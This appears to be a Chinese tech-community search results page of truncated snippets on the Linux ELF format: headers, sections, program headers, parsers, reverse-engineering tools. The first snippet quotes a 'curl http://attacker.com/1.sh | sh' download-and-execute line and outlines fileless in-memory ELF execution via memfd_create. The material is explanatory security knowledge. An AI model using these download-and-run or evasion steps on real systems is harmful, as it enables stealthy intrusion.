首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux文件渗透执行ELF

exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行elf文件,这就是该脚本的第二部分...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.5K80

详解 Linux执行文件 ELF 文件的内部结构

ELF 文件载入内存并执行。...and Linkable Format) 所谓的 ELF 文件,翻译过来就是“可执行与可链接文件”,是一种用于二进制文件之间相互调用的可执行文件格式,通过链接即可引入调用,拥有非常强大的可扩展性和灵活性...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....可重定位文件, 2. 可执行文件, 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行

2.8K21
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【Android 逆向】ELF 文件格式 ( ELF 文件类型 | ELF 文件对应 CPU 架构 | ELF 目标文件版本 | 可执行程序起始地址 )

    文章目录 一、ELF 文件类型 ( 动态库文件 ) 二、ELF 文件对应 CPU 架构 三、ELF 目标文件版本 四、可执行程序起始地址 一、ELF 文件类型 ( 动态库文件 ) ---- ELF 文件头...第 16 ~ 17 字节 : ELF 文件类型 , 动态库文件 / 可执行文件 / 静态库文件 / 链接文件 ; 03 00 表示该 ELF 文件是动态库文件 ; 03 00 小端格式 , 低位在低地址...: 目标文件版本 ; 默认值 1 ; 01 00 00 00 小端格式 , 低位在低地址 , 值为 1 ; 四、可执行程序起始地址 ---- ELF 文件头 第 24 ~ 27 字节 : 如果 ELF...是可执行文件 , 应该从哪个地址开始执行代码 ; 该值在可执行 ELF 文件中才有意义 , 动态库文件没有意义 ; 00 00 00 00 小端格式 , 低位在低地址 , 值为 0 ; 当前解析的 ELF...文件是动态库文件 , 该值没有实际意义 , 设置 0 默认值 ; 动态库并不能独立执行 , 需要由外部加载执行 ;

    72620

    【Android 逆向】ELF 文件格式 ( ELF 文件简介 | ELF 文件结构 )

    文章目录 一、ELF 文件简介 二、ELF 文件结构 一、ELF 文件简介 ---- ELF 文件是 Executable and Linkable Format ( 可执行 和 可链接 格式 ) 的文件...; 链接 一般是在编译阶段 , 执行 一般是在运行阶段 ; 在这两个阶段都会用到 ELF 格式的文件 ; 参考 【C 语言】编译过程 分析 ( 预处理 | 编译 | 汇编 | 链接 | 宏定义 | 条件编译...| 编译器指示字 ) 博客 ; ELF 文件 对应的 Linux 中的目标文件格式有 : 库文件 , 可执行文件 , 编译中间文件 ; 编译中间文件有 .a , .o , .s 文件 ; 库文件 ,...可执行文件 , 编译中间文件 , 都是 ELF 格式的文件 ; 在 Android 应用运行时 , ELF 文件的大部分内容 , 会被 映射到内存中 ; 这就意味着 Android 应用内存中的很多数据..., 45 4C 46 是 ELF 字符对应的 ASCII 码 ; 二、ELF 文件结构 ---- ELF 文件由以下四部分组成 : ELF 文件ELF 程序头 : ELF 程序头 会告知 节区头部表的位置

    1.2K30

    【Android 逆向】ELF 文件格式 ( ELF 文件头 | ELF 文件头标志 | ELF 文件位数 | ELF 文件大小端格式 )

    文章目录 一、ELF 文件简介 二、ELF 文件头 三、ELF 文件头标志 四、ELF 文件位数 五、ELF 文件大小端格式 一、ELF 文件简介 ---- 在上一篇博客 【Android 逆向】ELF...文件格式 ( 安装 010 Editor 二进制查看工具的 ELF.bt 插件模板 | 安装 ELF.bt 模板 | 打开 ELF 文件 ) 中 , 准备 ELF 文件解析环境 , 在 010 Editor...中安装了 ELF.bt 模板 ; 二、ELF 文件头 ---- ELF 文件头区域如下 : 前 16 字节是 ELF 的标志 , 三、ELF 文件头标志 ---- 0 ~ 3 字节 : 是 0x7F...和 ELF 的 ASCII 码 ; 这是 ELF 文件的特征 ; 四、ELF 文件位数 ---- 4 字节 : 表示该 ELF 文件的位数 32 位还是 64 位 ; 值为 01 , 表示该 ELF...文件是 32 位 文件 ; 五、ELF 文件大小端格式 ---- 5 字节 : 表示 有效位 格式 , 取值 LSB / MSB ; 此处值为 1 , LSB 格式 ; 这个值由编译器决定 ; 有些

    1K10

    elf文件解析器_elf文件下载

    前两天网上投递了简历,面试了一家C++公司,然后对面负责人给我发了一份笔试题,题目是: 请写出一个ELF文件解析器, 需要能打印出所有segments和sections,并列出每个section和segment...源码如下(”elf.h” 头文件见后文),它会报warning,但是貌似不太影响最后结果: #include #include #include "elf.h" int...(0 == a) { printf("fail to read head\n"); exit(0); } // 判断elf文件类型 if(elf_head.e_ident[0] !...(0 == a) { printf(“fail to read head\n”); exit(0); } // 判断elf文件类型 if(elf_head.e_ident[0] !...“elf.h” ,里面定义了elf文件结构的各种数据结构,能够使解析elf的过程中更加方便: #ifndef _QEMU_ELF_H #define _QEMU_ELF_H #include <inttypes.h

    1.5K20

    ELF文件程序表头和代码实现ELF文件加载

    前面章节我们了解了ELF文件的头部结构,这次我们深入了解另一个非常重要的数据结构,那就是程序表头。操作系统严重依赖该结构来加载ELF文件或是实现动态链接。...libbfd,这个库提供很多功能让调用者能解读X86架构下的通用二进制可执行文件。...其安装可以使用如下命令: sudo apt-get install -y libbfd-dev 基本上所有版本的Linux都会附带这个代码库,该代码库提供了一个类叫Binary,用于对可执行二进制文件的抽象...Binary类用于对整个elf文件的抽象,通过它可以访问ELF文件相关信息,Section是对前面章节描述的段对象的抽象,Symbol是对前面章节符号表对象的抽象。...make命令编译后,在本地目录会有my_loader可执行文件,使用命令.

    1.6K30

    内核级木马与病毒攻防:Linux执行文件ELF格式描述

    要想在Linux系统上实现逆向工程,分析,设计或查杀病毒和恶意代码,你不得不深入掌握其可执行文件ELF格式,这样你才能了解进程在内存空间的布局和运行的基本规律,这样你才能有针对性的设计有效的病毒或恶意代码入侵系统...ELF文件主要有以下几种类型,ET_NONE表示该文件的作用未知;ET_REL表示重定向文件或叫目标文件,它们将会被链接并加装到某个指定的虚拟内存位置,常见的以.o结尾的二进制文件就属于这种类型。...ET_EXEC表示可执行文件,它是由多个.o文件链接起来,可以被加载到内存进行执行的进程数据文件;ET_DYN表示动态链接库,它里面包含一系列向外导出的函数代码,当进程需要调用其内部函数时会将其加载到内存...ELF文件的头部结构能反映出该文件很多重要信息,使用readelf -h可以读取指定ELF文件文件头,其使用示例如下: ?...ELF格式的可执行文件在概念上由各种”段“组成,例如用于存储代码的文本段,用于存储数据的数据段等,这些段的数量和相关信息就由程序表头来描述,在加载运行ELF执行文件时,系统会读取程序表头,获得各个段的信息

    1.6K10

    ELF文件结构描述

    ELF目标文件格式最前部ELF文件头(ELF Header),它包含了描述了整个文件的基本属性,比如ELF文件版本、目标机器型号、程序入口地址等。...ELF文件头结构及相关常数被定义在“/usr/include/elf.h”,因为ELF文件在各种平台下都通用,ELF文件有32位版本和64位版本的ELF文件文件头内容是一样的,只不过有些成员的大小不一样...段表 段表就是保存ELF文件中各种各样段的基本属性的结构。段表是ELF除了文件以外的最重要结构体,它描述了ELF的各个段的信息,ELF文件的段结构就是由段表决定的。...这个值跟符号有关,可能是一个绝对值 st_size 符号大小 st_info 符号类型和绑定信息 st_other 该成员目前为0,没用 st_shndx 符号所在段 特殊符号 当我们使用ld作为链接器产生可执行文件...链接器在程序最终连接成可执行文件将其解析成正确的值,注意,只有使用ld链接生成最终可执行文件的时候这些符号才会存在。

    1.6K50

    ELF文件-逆向工具

    ELF文件-逆向工具 转载一篇逆向工具的文章: 原文 1、ELF文件内容解析 readelf: 可解析ELF文件的所有内容; strings: 查看ELF文件中的字符串; file : 查看ELF...文件的信息; nm : 查看ELF文件中的符号信息; ldd : 查看ELF文件所依赖的库文件; 2、objdump 用于对ELF文件进行反汇编; objdump -d ;反汇编部分可执行的二进制代码...; objdump -D ;反汇编全部的可执行的二进制代码; objdump -S ;尽量把可执行的二进制代码反汇编成源码; 3、hexdump 以十六进制格式查看ELF格式的二进制可执行文件的内容...; hexdump -C elf_file_name 4、od 以指定的进制格式查看ELF格式的二进制可执行文件的内容;默认是八进制; od -t x4 ;-t指定格式化的字节单元单位; ;x4...格式的二进制可执行文件的内容; xxd ;以小写的十六进制格式显示; xxd -u ;以大写的十六进制格式显示; xxd -s +10 ;以ELF文件头处的第1个字节为参照,从第10个字节处开始显示

    1K20

    【Android 逆向】ELF 文件格式 ( 安装 010 Editor 二进制查看工具的 ELF.bt 插件模板 | 安装 ELF.bt 模板 | 打开 ELF 文件 )

    文章目录 一、搜索并下载 ELF.bt 模板 二、安装 ELF.bt 模板 三、打开 ELF 文件 一、搜索并下载 ELF.bt 模板 ---- 进入 010 Editor 工具的插件模板下载页面 http.../010editor/repository/files/ELF.bt ; 可以在浏览器下载中 , 新建下载项 , 下载该 ELF.bt 文件 ; EXE.bt : 文件地址 https://www.sweetscape.com.../010editor/repository/files/DEX.bt 可以在浏览器下载中 , 新建下载项 , 下载该 ELF.bt 文件 ; 二、安装 ELF.bt 模板 ---- 选择 " 菜单栏.../ 模板 / 编辑模板列表 " 选项 , 在弹出的对话框中 , 新建一个模板 , 并指定模板对应文件 ; 三、打开 ELF 文件 ---- 选择打开 ELF 文件 : 打开文件后 , 选择 "...菜单栏 / 模板 / ELF 模板 " 选项 , 此时就可以在 模板结果 面板 , 看到 ELF 文件的四个组成部分 ;

    1.8K10

    ELF文件格式简介

    1 简介   可执行与可链接格式 (Executable and Linkable Format,ELF),常被称为 ELF格式,是一种用于可执行文件、目标代码、共享库和核心转储(core dump)的标准文件格式...ELF文件一般由三种类型的文件: 可重定向文件文件保存着代码和适当的数据,用来和其他的目标文件一起来创建一个可执行文件或者是一个共享目标文件。...比如编译的中间产物.o文件; 可执行文件:一个可执行文件; 共享目标文件:共享库。文件保存着代码和合适的数据,用来被下连接编辑器和动态链接器链接。比如linux下的.so文件。...ELF文件包含一个Header描述文件的基本信息;程序头表告诉徐彤如何构建进程的内存镜像,因此只有可执行文件由程序头表;Sections描述了链接过程中的需要的符号表、数据、指令等信息,而在可执行文件中是...2.1 ELF Header   ELF文件头描述了ELF文件的基本类型,地址偏移等信息,分为32bit和64bit两个版本,定义于linux源码的/usr/include/elf.h文件中。

    2.2K31

    【Android 逆向】ELF 文件格式 ( ELF 程序头入口大小 | ELF 程序头入口个数 | ELF 文件节区头入口大小 | ELF 文件节区头入口个数 | 字符表序号 )

    文章目录 一、ELF 程序头入口大小 二、ELF 程序头入口个数 三、ELF 文件节区头入口大小 四、ELF 文件节区头入口个数 五、字符表序号 一、ELF 程序头入口大小 ---- ELF 文件头 第...32 字节 ; 二、ELF 程序头入口个数 ---- ELF 文件头 第 44 ~ 45 字节 : ELF 程序头入口个数 ; 这里是 7 个 ; 07 00 小端格式 , 低位在低地址 , 值为...7 ; 如下图所示 , 程序头是由 7 个入口组成 , 每个入口大小是 32 字节 ; 三、ELF 文件节区头入口大小 ---- ELF 文件头 第 46 ~ 47 字节 : ELF 文件节区头入口大小字节数...文件节区头入口个数 ---- ELF 文件头 第 48 ~ 49 字节 : ELF 文件节区头入口个数 ; 这里是 21 个 ; 15 00 小端格式 , 低位在低地址 , 值为 21 ; 下图选中的部分..., 就是一个节区头入口的大小 , 有 21 个节区头入口 , 每个节区头入口大小 40 字节 ; 五、字符表序号 ---- ELF 文件头 第 50 ~ 51 字节 : ELF 文件 字符表序号 ;

    98720
    领券